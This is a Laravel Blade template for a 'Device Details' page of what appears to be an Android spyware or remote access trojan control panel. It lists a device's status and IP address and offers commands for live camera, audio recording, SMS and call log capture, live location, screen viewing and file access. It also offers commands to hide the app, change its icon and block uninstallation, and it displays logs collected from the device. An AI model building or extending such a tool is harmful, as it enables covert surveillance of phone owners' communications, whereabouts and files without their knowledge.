@extends('layouts.app') @section('title', 'Device Details') @section('content')

{{ $device->device_name ?? 'Unknown Device' }}

{{ $device->device_model }} • Android {{ $device->android_version }}

@if($device->isOnline()) Online @else Offline @endif
Battery Level
{{ $device->battery_level ?? 'N/A' }}@if($device->battery_level)%@endif
Network
{{ $device->network_type ?? 'Unknown' }}
IP Address
{{ $device->ip_address ?? 'N/A' }}
Last Seen
{{ $device->last_seen ? $device->last_seen->diffForHumans() : 'Never' }}

Send Command

@foreach([ ['live_camera', '📷', 'Live Camera'], ['record_audio', '🎤', 'Record Audio'], ['log_sms', '💬', 'SMS Logs'], ['log_calls', '📞', 'Call Logs'], ['lock_device', '🔒', 'Lock Device'], ['change_wallpaper', '🖼️', 'Wallpaper'], ['flash', '🔦', 'Flash'], ['notification', '🔔', 'Notification'], ['live_location', '📍', 'Location'], ['live_screen', '🖥️', 'Screen'], ['gallery', '🖼️', 'Gallery'], ['file_manager', '📁', 'Files'], ['list_apps', '📱', 'App List'], ['device_status', '📊', 'Status'], ['hide_app', '👻', 'Hide App'], ['change_icon', '🎭', 'Change Icon'], ['anti_uninstall', '🛡️', 'Anti Uninstall'] ] as $command)
@csrf
@endforeach

Recent Commands

@forelse($device->commands->take(20) as $command) @empty @endforelse
Command Status Created Executed
{{ str_replace('_', ' ', ucfirst($command->command_type)) }} @if($command->status === 'executed') Executed @elseif($command->status === 'failed') Failed @elseif($command->status === 'sent') Sent @else Pending @endif {{ $command->created_at->format('M d, Y H:i') }} {{ $command->executed_at ? $command->executed_at->format('M d, Y H:i') : '-' }}
No commands issued yet

Device Logs

@forelse($device->deviceLogs->take(50) as $log)
{{ $log->log_type }}

{{ $log->content }}

{{ $log->created_at->diffForHumans() }}
@empty

No logs available

@endforelse
@endsection